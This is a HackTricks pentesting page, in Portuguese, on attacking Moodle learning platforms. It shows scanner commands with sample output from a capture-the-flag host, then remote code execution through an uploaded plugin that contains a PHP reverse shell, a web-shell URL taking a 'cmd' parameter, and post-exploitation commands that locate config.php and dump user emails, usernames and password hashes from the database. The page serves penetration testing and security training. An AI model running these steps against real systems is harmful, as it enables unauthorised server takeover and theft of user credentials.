hacktricks/network-services-pentesting/pentesting-web/moodle.md

# Moodle

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## Scans Automáticos

### droopescan
```bash
pip3 install droopescan
droopescan scan moodle -u http://moodle.example.com/<moodle_path>/

[+] Plugins found:
forum http://moodle.schooled.htb/moodle/mod/forum/
http://moodle.schooled.htb/moodle/mod/forum/upgrade.txt
http://moodle.schooled.htb/moodle/mod/forum/version.php

[+] No themes found.

[+] Possible version(s):
3.10.0-beta

[+] Possible interesting urls found:
Static readme file. - http://moodle.schooled.htb/moodle/README.txt
Admin panel - http://moodle.schooled.htb/moodle/login/

[+] Scan finished (0:00:05.643539 elapsed)
```
### moodlescan
```bash
#Install from https://github.com/inc0d3/moodlescan
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/

Version 0.7 - Dic/2020
.............................................................................................................

By Victor Herrera - supported by www.incode.cl

.............................................................................................................

Getting server information http://moodle.schooled.htb/moodle/ ...

server         	: Apache/2.4.46 (FreeBSD) PHP/7.4.15
x-powered-by   	: PHP/7.4.15
x-frame-options	: sameorigin
last-modified  	: Wed, 07 Apr 2021 21:33:41 GMT

Getting moodle version...

Version found via /admin/tool/lp/tests/behat/course_competencies.feature : Moodle v3.9.0-beta

Searching vulnerabilities...


Vulnerabilities found: 0

Scan completed.
```
### CMSMap
```bash
pip3 install git+https://github.com/dionach/CMSmap.git
cmsmap http://moodle.example.com/<moodle_path>
```
### CVEs

Eu descobri que as ferramentas automáticas são bastante **inúteis para encontrar vulnerabilidades que afetam a versão do moodle**. Você pode **verificar** por elas em [**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)

## **RCE**

Você precisa ter a função de **gerente** e você **pode instalar plugins** na aba **"Administração do site"**\*\*:\*\*

![](<../../.gitbook/assets/image (630).png>)

Se você for gerente, pode ainda precisar **ativar esta opção**. Você pode ver como no PoC de escalonamento de privilégios do moodle: [https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321).

Então, você pode **instalar o seguinte plugin** que contém o clássico pentest-monkey php r**ev shell** (_antes de enviá-lo, você precisa descompactá-lo, mudar o IP e a porta do revshell e compactá-lo novamente_)

{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}

Ou você poderia usar o plugin de [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) para obter um shell PHP regular com o parâmetro "cmd".

Para acessar e lançar o plugin malicioso, você precisa acessar:
```bash
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
```
## POST

### Encontrar credenciais do banco de dados
```bash
find / -name "config.php" 2>/dev/null | grep "moodle/config.php"
```
### Extrair Credenciais do banco de dados
```bash
/usr/local/bin/mysql -u <username> --password=<password> -e "use moodle; select email,username,password from mdl_user; exit"
```
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<details>

<summary>Support HackTricks</summary>

* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

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